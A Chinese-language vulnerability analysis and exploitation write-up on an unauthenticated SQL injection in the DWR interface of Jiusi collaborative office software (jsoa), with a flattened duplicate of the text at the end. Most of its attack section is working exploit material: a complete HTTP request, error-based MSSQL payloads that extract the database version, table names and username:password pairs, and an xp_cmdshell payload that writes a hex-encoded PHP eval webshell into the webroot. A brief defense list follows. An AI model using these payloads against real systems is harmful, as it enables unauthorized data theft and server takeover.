某OA dwr组件未授权导致SQL注入分析
字数 945 2025-08-22 12:23:06

DWR组件未授权SQL注入漏洞分析与利用

0x01 漏洞概述

北京九思协同办公软件(jsoa)的/workflow/dwr/接口存在未授权SQL注入漏洞。攻击者可以利用该漏洞:

  1. 获取数据库敏感信息(如管理员凭据、用户数据)
  2. 高权限情况下可写入Webshell
  3. 进一步获取服务器系统权限

0x02 漏洞背景

DWR技术简介

Direct Web Remoting (DWR)是一个开源Java库,允许客户端JavaScript直接调用服务器端Java方法。该技术通过动态生成JavaScript代码实现远程调用。

漏洞组件

漏洞位于uk.ltd.getahead.dwr.DWRServlet组件,配置文件中暴露了多个危险方法。

0x03 漏洞分析

配置缺陷

WEB-INF/web.xml中存在以下关键配置:

<servlet-mapping>
    <servlet-name>dwr-workflow</servlet-name>
    <url-pattern>/workflow/dwr/*</url-pattern>
</servlet-mapping>

<servlet>
    <servlet-name>dwr-workflow</servlet-name>
    <display-name>DWR Servlet</display-name>
    <description>Direct Web Remoter Servlet</description>
    <servlet-class>uk.ltd.getahead.dwr.DWRServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>true</param-value>
    </init-param>
    <init-param>
        <param-name>config-webform</param-name>
        <param-value>/WEB-INF/xml/jsflow.xml</param-value>
    </init-param>
</servlet>

危险方法

配置文件中暴露了多个危险方法,包括:

<include method="getUserStatus"/>
<include method="getUserStatusByEmpIdStr"/>
<include method="getUserStatusByEmpOrgGrp"/>
<include method="getUserStatusByRole"/>
<include method="getLeaderByOrgId"/>
<include method="getWFOnlineUser"/>
<include method="userCanCreateFlow"/>

漏洞代码分析

getLeaderByOrgId方法为例:

public String getLeaderByOrgId(String operProcOrg) {
    WorkFlowBD bd = new WorkFlowBD();
    MyInfoBD myInfoBD = new MyInfoBD();
    String[] leader = bd.getLeaderListByOrgId(operProcOrg);
    // ...
}

问题在于getLeaderListByOrgId方法直接将用户输入的operProcOrg参数拼接到SQL查询中,未做任何过滤处理。

0x04 漏洞复现

复现步骤

  1. 访问/jsoa/workflow/dwr/接口
  2. 点击workflowSync进入测试方法页面
  3. 构造恶意请求利用SQL注入

请求示例

POST /jsoa/workflow/dwr/exec/workflowSync.getLeaderByOrgId.dwr HTTP/1.1
Host: target.com
Accept-Language: zh-CN,zh;q=0.9
Content-Type: text/plain
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: */*
Content-Length: 122

callCount=1
c0-scriptName=workflowSync
c0-methodName=getLeaderByOrgId
c0-id=1908_1736498493215
c0-param0=string:xml=true' AND 1=CONVERT(int,(SELECT @@version))--

其他可利用方法

getLeaderByOrgId外,以下方法也存在SQL注入漏洞:

  1. getUserStatus
  2. getUserStatusByEmpIdStr
  3. getUserStatusByEmpOrgGrp
  4. getUserStatusByRole
  5. getWFOnlineUser
  6. userCanCreateFlow

0x05 漏洞利用

信息收集

-- 获取数据库版本
string:xml=true' AND 1=CONVERT(int,(SELECT @@version))--

-- 获取当前数据库用户
string:xml=true' AND 1=CONVERT(int,(SELECT CURRENT_USER))--

-- 获取数据库名称
string:xml=true' AND 1=CONVERT(int,(SELECT DB_NAME()))--

数据提取

-- 获取表名
string:xml=true' AND 1=CONVERT(int,(SELECT TOP 1 name FROM sysobjects WHERE xtype='U'))--

-- 获取列名
string:xml=true' AND 1=CONVERT(int,(SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users'))--

-- 获取数据
string:xml=true' AND 1=CONVERT(int,(SELECT TOP 1 username+':'+password FROM users))--

写入Webshell

string:xml=true'; DECLARE @a varchar(8000); SET @a=0x3C3F70687020406576616C28245F504F53545B2763275D293B3F3E; EXEC master.dbo.xp_cmdshell 'echo ' + @a + ' > C:\inetpub\wwwroot\shell.php';--

0x06 防御措施

  1. 输入验证:对所有输入参数进行严格过滤和验证
  2. 权限控制:限制DWR接口的访问权限
  3. 参数化查询:使用预编译语句替代动态SQL拼接
  4. 组件升级:更新DWR组件到最新安全版本
  5. 敏感方法限制:移除或保护不必要暴露的方法
  6. 错误处理:禁用详细的错误信息返回

0x07 参考链接

  1. DWR技术介绍 - 先知社区
  2. OWASP SQL注入防护指南
DWR组件未授权SQL注入漏洞分析与利用 0x01 漏洞概述 北京九思协同办公软件(jsoa)的 /workflow/dwr/ 接口存在未授权SQL注入漏洞。攻击者可以利用该漏洞: 获取数据库敏感信息(如管理员凭据、用户数据) 高权限情况下可写入Webshell 进一步获取服务器系统权限 0x02 漏洞背景 DWR技术简介 Direct Web Remoting (DWR)是一个开源Java库,允许客户端JavaScript直接调用服务器端Java方法。该技术通过动态生成JavaScript代码实现远程调用。 漏洞组件 漏洞位于 uk.ltd.getahead.dwr.DWRServlet 组件,配置文件中暴露了多个危险方法。 0x03 漏洞分析 配置缺陷 在 WEB-INF/web.xml 中存在以下关键配置: 危险方法 配置文件中暴露了多个危险方法,包括: 漏洞代码分析 以 getLeaderByOrgId 方法为例: 问题在于 getLeaderListByOrgId 方法直接将用户输入的 operProcOrg 参数拼接到SQL查询中,未做任何过滤处理。 0x04 漏洞复现 复现步骤 访问 /jsoa/workflow/dwr/ 接口 点击 workflowSync 进入测试方法页面 构造恶意请求利用SQL注入 请求示例 其他可利用方法 除 getLeaderByOrgId 外,以下方法也存在SQL注入漏洞: getUserStatus getUserStatusByEmpIdStr getUserStatusByEmpOrgGrp getUserStatusByRole getWFOnlineUser userCanCreateFlow 0x05 漏洞利用 信息收集 数据提取 写入Webshell 0x06 防御措施 输入验证 :对所有输入参数进行严格过滤和验证 权限控制 :限制DWR接口的访问权限 参数化查询 :使用预编译语句替代动态SQL拼接 组件升级 :更新DWR组件到最新安全版本 敏感方法限制 :移除或保护不必要暴露的方法 错误处理 :禁用详细的错误信息返回 0x07 参考链接 DWR技术介绍 - 先知社区 OWASP SQL注入防护指南